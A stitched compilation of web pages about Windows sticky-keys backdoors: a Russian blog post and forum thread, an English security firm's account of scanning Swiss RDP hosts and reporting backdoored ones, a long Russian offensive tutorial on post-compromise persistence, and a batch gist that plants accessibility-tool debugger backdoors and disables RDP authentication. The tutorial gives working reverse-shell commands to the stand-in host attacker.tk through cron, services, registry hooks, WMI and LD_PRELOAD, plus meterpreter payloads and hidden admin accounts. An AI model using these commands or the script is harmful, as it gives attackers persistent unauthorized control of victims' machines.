Привет Всем многоуважаемым читателям!!!
Сейчас вот возьму да и расскажу всем об интересном трюке в ОС Windows, который позволит выполнить любую команду с правами ОС прям на экране входа в ВИНДОВС еще до прохождения процедуры авторизации. Эту процедуру можно использовать в нужном русле, но ею может воспользоваться вор, который после получения доступа к вашей ОС, может оставить подобную консоль доступа себе, которую сложно детектировать. Сразу скажу, что это просто кривизна архитектуры ВИНДОУС.
Методика хака состоит в использовании функции “Sticky Keys”. Заменив исполняемый файл Sticky Keys – sethc.exe на другой файл, можно добиться, чтоб запускалась нужная программа, вместотоко, чтоб запускалась утилита включения залипания клавиши. Используя подобную методику можно запустить окно командной строки прям на экране входа в ВИНДОУС.
Методика подмены файл следующая: Делаем резервную копию файла, копируем в корень диска C
этот файл
:
copy c:\windows\system32\sethc.exe c:\
меняем файл sethc.exe на файл командной строки,
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
Еще способ применения хака – устанавливаем отладчик для sethc.exe, можно сделать командой:
REG ADD «HKLM\SOFTWARE\Microsoft\ВИНДОУС NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe» Перезагружаем систему и на экране входа в ВИНДОУС пять раз жмем клавишу SHIFT, и запускается окно командной строки, которым заменили программу sethc.exe Командная строка запустится с правами SYSTEM, и мы получаем полный доступ к компу и можем запускать что угодно!
Эта ддовольно старая дыра в системе безопасности ВИНДОВС, когда разнообразные системные приложения запускаются из-под всемогущей SYSTEM, а не из- под ограниченной учетной записи. Трюк так же будет работать и в ВИНДОВС 7 и в Windows Server 2008 R2 и в ВИНДОУС 8 Consumer Preview. Он сработает по RDP сессии даже при терминальном подключении к серверу !
Достаточно широк диапазон применения подобной методики замены системных исполняемых файлов. Обезопасить свою систему можно, если отключить залипание клавиш Sticky Keys на компе.
На этом все пока и следите за новостями на этом блоге..
Korsak
14.05.15
✎
12:02
Здрасти Гуру. Прошу помочь как заткнуть дыру в Вин 7 -2008 связанную с выполнением команды REG ADD. в части подмены файла залипания клавиш
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe
В инете нашел отключить залипание клавиш в панели управления, но не помогает это.
Спасибо откликнувшимся.
H A D G E H O G s
14.05.15
✎
12:09
(0) Элегантно!
H A D G E H O G s
14.05.15
✎
12:10
(0) Написать в Мелкософт, пусть при 5 кратном Шифт, перед запуском sethc.exe проверяют его хеш.
Korsak
14.05.15
✎
12:12
(2) Ну эт кардинально, а не элегантно )
Гёдза
14.05.15
✎
12:29
откуда у простого смертного право писать в эту ветку реестра?
Korsak
14.05.15
✎
12:42
(4) Ой извините, что написал. Откуда нам смертным то ума набраться, если такие небожители как вы только между собой пишете.
Korsak
14.05.15
✎
12:47
(4) Хотя какой вы небожитель если с окнами в формах разобраться не можете
Cap_1977
14.05.15
✎
12:47
(0) Правами не рулится чтоль ?
Korsak
14.05.15
✎
12:48
(7) В том то и дело, что права получают админские.
Korsak
14.05.15
✎
12:49
(4) Сори затупил
Torquader
14.05.15
✎
13:13
А что нельзя отключить включение залипания после того как удержали Shift ?
И потом, если очень хочется, что заходим в редактор реестра и на нужной ветке запрещаем запись всем, кроме системы (системе запрещать нежелательно, иначе возможны глюки вплоть до смнего экрана) и всё.
Только ещё желательно Администраторам оставить право менять настройки безопасности, ну или сделать пользователя, который может менять всё, чтобы ставить программы под ним.
The idea
Some time ago I read a tweet about hunting so-called “sticky-keys backdoors”, referencing a presentation at DEFCON 24, https://www.youtube.com/watch?v=EAYtRQKfna0 In addition to the presentation, the team released a tool called “Sticky Keys Slayer” that is publicly available on GitHub, https://github.com/linuz/Sticky-Keys-Slayer/
The sticky-keys backdoor is using a simple trick. On a Windows system, it is possible to enable accessibility features and sticky keys even on the login screen, i.e. before performing a successful login. Those features run an executable as NT AUTHORITY\SYSTEM. There are two executables, sethc.exe and utilman.exe. Both can be replaced by other executables if one has sufficient rights on the system. Say you replace them by cmd.exe and you will be able to run a high privileged shell on the machine without being authenticated. Another option, a bit stealthier is to set cmd.exe as the debugger for sethc.exe, ending up with a high privileged shell as well. The registry change required would look similar to:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
A simplified, high-level overview of the “Sticky Keys Slayer” tool, that tries to detect the backdoors mentioned above, is as follows:
- Open a RDP session to the server with an invalid user to stay on login screen,
- Take a first screenshot of the session,
- Send the keys Shift Shift Shift Shift Shift,
- Send the keys Windows+U,
- Take a second screenshot of the session,
- Compare both screenshots to see if a command-line window has been opened by checking the difference of black pixels,
- Save the screenshot in a directory if the test is positive, in another one otherwise.
Being interested in this, I quickly pulled off a list of all Swiss IPs having port 3389 open from shodan.io using the following query:
port:"3389" country:"CH"
This gave me 9450 hosts to test. I used the provided tools with minor modifications to make it work on my usual test machine and was good to go. The full scan took several hours to complete and gathered about 500 MBytes worth of screenshots.
The results
After the scan, a quick visual check of the screenshot was done to rule out false positives and some false-negatives as well. The final count is as follows:
The high error count is mostly due to the fact that lots of the IPs with the RDP port being open were residential connections with a DHCP assigned public IP. The data from shodan being not real-time accurate makes it probable that many IPs were reassigned before our tests. It also means that more backdoored systems could be found in this gray area.
Among the backdoored systems were mostly end-users DHCP connections (80 out of 113). Then enterprises of all kinds, mostly small and medium ones, and a few big companies as well. In addition, some other things were to be found on the screenshots:
- All versions of Windows are present from XP/2000 to 2016 as well as some RDP client for Linux and Mac OS
- Information disclosure with an extensive bginfo background, https://docs.microsoft.com/en-us/sysinternals/downloads/bginfo
- Nice green-, yellow-, orange- or even pink-colored background instead of the default Windows blue
- Login through face recognition over webcam instead of a username and password
- Custom binary run instead of cmd.exe that first asks for a password instead of directly giving a shell
- Open root access on a Linux server with someone being busy installing a Monero coin miner
Remediation
All the vulnerable IPs were promptly reported either to Swisscom through their bug bounty / responsible disclosure program or to MELANI for all the IP’s that do not belong to Swisscom’s network ranges. Swisscom immediately forwarded the information to whomever was impacted and awarded a CHF 500 bounty since two of the backdoored servers were in the scope for the bug bounty.
What can a sysadmin do if he is presented with such a finding, “your server has been backdoored and is easily accessible for anyone on the Internet”? The immediate remediation for the sticky key backdoor is obvious. Replacing the malicious executable by the original Microsoft binary and/or removing the registry key will remove the backdoor. But how to determine who planted the backdoor, how did this person first got administrative access to the server and how to prevent it from happening again? This is a typical case where forensic investigation comes into play. There is no easy tips here but some preparation can be done in advance to maximize the likelihood of such an investigation to be successful, have a look at one of our previous post https://blog.compass-security.com/2017/06/forensic-readiness/
Содержание
- 1 Шелл
- 2 Автозагрузка
- 3 Сервисы
- 4 Задачи
- 5 In-memory
- 6 Конфиги
- 7 Особые приемы в Linux
- 7.1 LD_PRELOAD
- 7.2 rc.local
- 8 Особые приемы в Windows
- 8.1 Дебаггер
- 8.2 Gflags
- 8.3 WMI
- 8.4 AppInit
- 8.5 Lsass
- 8.6 Winlogon
- 8.7 Netsh
- 8.8 Office
- 9 Выводы
Сегодняшнее статья посвящена Persistence. Мы рассмотрим основные и наиболее популярные способы, которые позволяют прописаться в системе после взлома — скрытно или не очень. Все рассматриваемые в статье способы по большей части не зависят от версии и конфигурации ОС и легко реализуемы.
Еще по теме: Как пользоваться Metasploit Framework
Итак, начнем. Когда хакер получил шелл на хосте, первое, что нужно сделать, — это обеспечить себе «постоянство» (persistence) в системе. Ведь во большинстве случаев на RCE может быть лишь одна попытка, а значит, нельзя потерять доступ из‑за каких‑нибудь ошибок.
Есть различные способы организовать возможность постоянного присутствия Persistence, у каждого свои достоинства и недостатки:
-
записать что‑либо на HDD:
- плюс: переживет перезагрузку;
- минусы: заметно для человека, заметно для антивируса;
-
внедрить код в RAM:
- плюс: незаметно для человека;
- минусы: не переживет перезагрузку, может быть заметно для антивируса;
-
изменить конфигурацию ОС:
- плюсы: незаметно для антивируса, переживет перезагрузку;
- минус: может быть заметно для человека.
Чаще всего при закреплении в системе все же приходится обращаться к диску, поскольку это единственный способ не вылететь из‑за случайной перезагрузки. В общем случае успешность такой персистентности зависит от двух факторов:
- насколько скрытно от пользователя прописан запуск бэкдора;
- насколько безобидно для антивируса тело бэкдора.
Очевидно, что с точки зрения закрепления Linux — более приоритетная система. Компьютеры с ним, как правило, редко обслуживаются пользователями и не перезагружаются месяцами. Да и как точка опоры они подходят больше. Хосты под управлением Linux удобны еще и потому, что они редко защищены антивирусом, а антивирус для персистентности — это ощутимая проблема.
В свою очередь, в Windows больше вариантов автозагрузки, что может помочь лучше замаскироваться в ее недрах. Ведь, в отличие от проникновения в Linux, нам почти всегда придется работать рядом с пользователем, опытным или не очень.
Если имеете дело не с одной целью, а с целой группой, весьма удобно использовать для машины атакующего доменное имя, а не IP. Тогда для каждой жертвы или группы жертв можно будет задать свое уникальное имя в DNS-зоне атакующего (далее в примерах — attacker.tk). Это позволяет эффективнее управлять жертвами. Выглядит это примерно так.
Если антивирусы не главная проблема, то в качестве reverse shell часто можно использовать простые nc.exe, ncat.exe и socat.exe. Все они обладают возможностями RAT и зачастую нормально проходят антивирус. Поскольку это программы, работающие из командной строки, можно сделать их запуск на машине жертвы незаметным. В Windows для этого достаточно поменять subsystem у исполняемого файла:
pe header → optional header nt fields → subsystem → GUI (0x0002) |
Описанные далее примеры помогут не только при закреплении на машине жертвы, но и для выявления фактов компрометации.
Анализ элементов автозагрузки — это часто поиск иголки в стоге сена. Обычно приходится судить по названию исполняемого файла, тому, где он находится (в правильных местах или где‑то в профиле пользователя), а также по названию и описанию компании‑разработчика, зашитым внутри файла. Впрочем, ничто не мешает атакующему подделать эти данные.
Антивирусы же, как правило, не удаляют записи в списках автозагрузки, а удаляют сами исполняемые файлы. Поэтому битая ссылка в автозагрузке — тревожный сигнал.
Во многих случаях для персистентности могут потребоваться права администратора. Это тоже может стать проблемой, ведь далеко не каждый шелл обладает нужными привилегиями. Поэтому в каждом примере я буду помечать символом
$ ввод непривилегированного пользователя, а
# — администратора. Для обнаружения будем использовать утилиту Autoruns, результаты вы можете наблюдать на скриншотах.
Шелл
Организовать персистентность можно прямо из командной строки. Чтобы шелл открывался всегда, используем команду с бесконечным циклом, уходящую в фон.
Windows
Вот как это работает в Windows:
cmd$> start cmd /C «for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )» |
Linux
bash$> ( bash —c «while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done»; )& bash$> nohup bash -c «while :; do bash —i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done« & |
- Плюсы: управляемый интервал запуска, подойдет любой пользователь.
- Минус: не переживет перезагрузку.
Автозагрузка
Говоря о персистентности, нельзя пройти мимо классической и всем известной автозагрузки. Ее преимущество в том, что она будет работать с правами любого, даже неадминистративного пользователя.
Windows
cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ cmd$> reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\users\username\meter.exe» cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ cmd#> reg add «HKLM\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\Windows\system32\meter.exe» |
Linux
bash$> echo «nc attacker.tk 8888 -e /bin/bash 2>/dev/null &» >> ~/.bashrc |
- Плюсы: переживает перезагрузку, подойдет любой пользователь.
- Минус: неуправляемый интервал запуска.
Сервисы
Использовать службу для закрепления более выгодно, чем автозагрузку, так как Service Manager будет сам перезапускать службу, если потребуется.
Для Windows создание службы потребует права администратора.
cmd#> sc create persistence binPath= «nc.exe -e \windows\system32\cmd.exe attacker.tk 8888» start= auto cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000 cmd#> sc start persistence |
В Linux создать службу можно и с учетки простого пользователя. Вот варианты для рута и для простого пользователя.
bash#> vim /etc/systemd/system/persistence.service bash$> vim ~/.config/systemd/user/persistence.service |
Содержимое файла:
[Unit] Description=persistence [Service] ExecStart=/bin/bash —c ‘bash -i >& /dev/tcp/attacker.tk/8888 0>&1’ Restart=always RestartSec=60 [Install] WantedBy=default.target |
И запускаем созданную службу:
bash#> systemctl enable persistence.service bash#> systemctl start persistence.service bash$> systemctl —user enable persistence.service bash$> systemctl —user start persistence.service |
- Плюсы: переживает перезагрузку, управляемый интервал запуска, подходит любой пользователь.
- Минус: необходимы права администратора.
Задачи
Создание запланированной задачи — весьма удобный способ поддержания доступа. Заодно можно задать время и интервал запуска. Но делать это разрешено, как правило, только привилегированным пользователям.
Windows
cmd#> at 13:37 \temp\nc.exe -e \windows\system32\cmd.exe attacker.tk 8888 cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr «c:\temp\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888» |
Linux
bash#> echo «* * * * * bash -i >& /dev/tcp/attacker.tk/8888 0>&1» >> /var/spool/cron/root bash#> echo $’SHELL=/bin/bash\n* * * * * root bash -i >& /dev/tcp/attacker.tk/8888 0>&1\n’> /etc/cron.d/pwn |
- Плюсы: переживает перезагрузку, управляемый интервал запуска.
- Минус: нужны права администратора/root.
In-memory
Внедрение бэкдора, который будет висеть в оперативный памяти, имеет смысл, если нужно закрепиться на целевой машине, не оставляя никаких следов. Антивирусы обычно слабо контролируют деятельность в памяти, поскольку это сопряжено с большим дополнительным расходом ресурсов. Даже опытный пользователь вряд ли заметит что‑то, что скрыто внутри легального процесса.
В качестве in-memory-бэкдора мы будем использовать meterpreter. Это, пожалуй, самый известный RAT, способный работать исключительно в памяти, не трогая при этом диск.
Windows
msfvenom —p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 —f raw —o meter32.bin exitfunc=thread StagerRetryCount=999999 cmd$> inject_windows.exe PID meter32.bin |
Linux
msfvenom —p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 —f raw —o meter32.bin exitfunc=thread StagerRetryCount=999999 bash$> inject_linux PID meter32.bin |
Внедрить код мы можем не только в нативные процессы, но и в интерпретируемые, например интерпретатором Python:
msfvenom —p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 —o meter.py exitfunc=thread StagerRetryCount=999999 $> pyrasite 12345 meter.py |
За максимальную скрытность платим потерей персистентности после перезагрузки.
- Плюсы: подойдет любой пользователь, трудно обнаружить человеку.
- Минусы: не переживает перезагрузку.
Поскольку вредоносный поток запускается вне какой‑либо библиотеки, Procexp часто показывает такой поток как запущенный от нулевого адреса.
Конфиги
Организация персистентности через изменение конфигурации ОС — отличный способ спрятаться от антивируса. Это единственный случай, когда мы не используем вообще никакой исполняемый код. Но применимо это, только если у нас есть прямой доступ к целевой машине.
Создание скрытого пользователя, от имени которого можно будет потом получить удаленный доступ, — это, пожалуй, самый известный вариант такой атаки.
Windows
cmd#> net user attacker p@ssw0rd /add cmd#> net localgroup administrators /add attacker cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList» /v attacker /t REG_DWORD /d 0 /f |
Linux
bash#> openssl passwd -1 -salt test bash#> echo ‘post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash’ >> /etc/passwd |
Простое и эффективное внедрение закладки в Windows через RDP:
cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t reg_sz /d «\windows\system32\cmd.exe» cmd#> reg add «HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp» /v UserAuthentication /t REG_DWORD /d 0x0 /f |
- Плюсы: трудно обнаружить антивирусом, переживает перезагрузку.
- Минусы: требует права администратора/root, не подходит, если машина за NAT или файрволом.
Особые приемы в Linux
Вот мы и добрались до трюков, которые сработают только в определенной ОС. Начнем с Linux.
LD_PRELOAD
В Linux для того, чтобы в каждый запускаемый процесс подгружался нужный нам код, можно использовать переменную LD_PRELOAD:
bash#> echo /path/to/meter.so >> /etc/ld.so.preload bash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile bash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc |
- Плюсы: переживает перезагрузку, подойдет любой пользователь.
- Минус: неуправляемый интервал запуска.
rc.local
Один раз после перезагрузки мы можем выполнить команды в rc.local.
bash#> echo «nc attacker.tk 8888 -e /bin/bash &» >> /etc/rc.local |
- Плюс: переживает перезагрузку.
- Минусы: неуправляемый интервал запуска, нужны права root.
Особые приемы в Windows
Здесь у нас будет больше интересных трюков!
Дебаггер
Если атакующий знает, что атакуемый пользователь часто запускает какую‑то программу, скажем калькулятор, то он может внедрить свой код в тело этой программы с помощью джойнера. Однако всякое вмешательство в исполняемые файлы неумолимо повышает уровень недоверия к ним со стороны антивируса. Куда более изящным исполнением будет перехват запуска:
cmd#> copy calc.exe _calc.exe cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe» /v Debugger /t reg_sz /d «cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888» /f |
Как только victim запустит, а затем закроет калькулятор, атакующий примет reverse shell.
- Плюс: переживает перезагрузку.
- Минус: требует права администратора.
Gflags
Почти таким же образом можно организовать запуск своего кода, когда пользователь закрывает определенную программу.
cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe» /v GlobalFlag /t REG_DWORD /d 512 cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe» /v ReportingMode /t REG_DWORD /d 1 cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe» /v MonitorProcess /d «nc -e \windows\system32\cmd.exe attacker.tk 8888» |
- Плюс: переживает перезагрузку.
- Минус: требует права администратора.
Autoruns этот способ не обнаруживает, но вы можете проверить ветку реестра:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit |
WMI
cmd#> wmic /NAMESPACE:»\\root\subscription» PATH __EventFilter CREATE Name=»persistence», EventNameSpace=»root\cimv2″,QueryLanguage=»WQL», Query=»SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System'» cmd#> wmic /NAMESPACE:»\\root\subscription» PATH CommandLineEventConsumer CREATE Name=»persistence», ExecutablePath=»C:\users\admin\meter.exe»,CommandLineTemplate=»C:\users\admin\meter.exe» cmd#> wmic /NAMESPACE:»\\root\subscription» PATH __FilterToConsumerBinding CREATE Filter=»__EventFilter.Name=»persistence»», Consumer=»CommandLineEventConsumer.Name=»persistence»» |
- Плюсы: переживает перезагрузку, управляемый интервал запуска.
- Минус: требует права администратора.
AppInit
В Windows есть интересный способ внедрения библиотек в оконные приложения с помощью AppInit (они должны использовать user32.dll).
cmd#> reg add «HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows» /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f cmd#> reg add «HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows» /v AppInit_DLLs /t reg_sz /d «c:\path\to\meter64.dll» /f cmd#> reg add «HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows» /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f cmd#> reg add «HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows» /v AppInit_DLLs /t reg_sz /d «c:\path\to\meter32.dll» /f |
- Плюс: переживает перезагрузку.
- Минусы: требует права администратора, неуправляемый интервал запуска.
Lsass
Еще одна возможность — прописать библиотеку в системном процессе lsass. Это достаточно выгодное место, поскольку в данном процессе хранятся те самые учетные записи, которые мы извлекаем утилитой mimikatz.
cmd#> reg add «HKLM\system\currentcontrolset\control\lsa» /v «Notification Packages» /t reg_multi_sz /d «rassfm\0scecli\0meter» /f |
- Плюс: переживает перезагрузку.
- Минусы: требуются права администратора, неуправляемый интервал запуска, можно убить систему.
Winlogon
Чтобы каждый раз, как кто‑то из пользователей входит в систему, открывался шелл, можно использовать механизм Winlogon.
cmd#> reg add «HKLM\software\microsoft\windows nt\currentversion\winlogon» /v UserInit /t reg_sz /d «c:\windows\system32\userinit.exe,c:\windows\meter.exe» |
- Плюс: переживает перезагрузку.
- Минус: неуправляемый интервал запуска.
Netsh
Утилита настройки сети Netsh тоже позволяет подгружать произвольную библиотеку. Это открывает возможность организовать через нее импровизированную автозагрузку. Результат будет выглядеть безобидно, так как первоначально вызывается системный компонент Windows.
cmd#> c:\windows\syswow64\netsh.exe netsh> add helper c:\windows\meter32.dll cmd#> reg add «HKLM\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\Windows\SysWOW64\netsh.exe» |
В итоге получаем такую цепочку: autorun → netsh.exe → meter.dll.
При этом meter.dll будет скрыт от глаз пользователя — он увидит лишь запуск легитимной Netsh, родной компонент Windows.
- Плюсы: переживает перезагрузку, сложно обнаружить пользователю.
- Минус: требует права администратора.
Office
Этот способ подойдет, если атакуемый пользователь часто работает с офисным пакетом. Не такая уж редкость!
cmd$> reg add «HKCU\Software\Microsoft\Office test\Special\Perf» /t REG_SZ /d C:\users\username\meter.dll |
- Плюсы: переживает перезагрузку, подойдет любой пользователь.
- Минус: неуправляемый интервал запуска.
Выводы
Мы рассмотрели основные и наиболее популярные варианты Persistence. Они по большей части не зависят от версии и конфигурации ОС и легко реализуемы. Универсального способа нет (иначе обнаружение было бы слишком простым!), и у каждого есть достоинства и недостатки. При выборе наша цель — сбалансировать надежность и скрытность.
Этим списком выбор, конечно же, не ограничивается, и все в конечном счете зависит только от вашей фантазии и изобретательности. В Windows хороший помощник в поиске новых возможностей для закрепления — все та же утилита Autoruns.
Однако выгодно расположенная в системе ссылка на бэкдор — это еще не все. О том, какой исполняемый файл для этого использовать и как при этом эффективно обойти антивирус, я расскажу в следующей своей статье.
Batch script to launch a cmd backdoor when stickykeys, utiliman, or display keyboard hotkeys are toggled. Also starts RDP.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REG ADD «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe« /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe« /f | |
REG ADD «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe« /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe« /f | |
REG ADD «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe« /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe« /f | |
REG ADD «HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp« /v UserAuthentication /t REG_DWORD /d 0 /f | |
netsh firewall set service type = remotedesktop mode = enable | |
netsh advfirewall firewall set rule group=«remote desktop« new enable=Yes | |
net start TermService |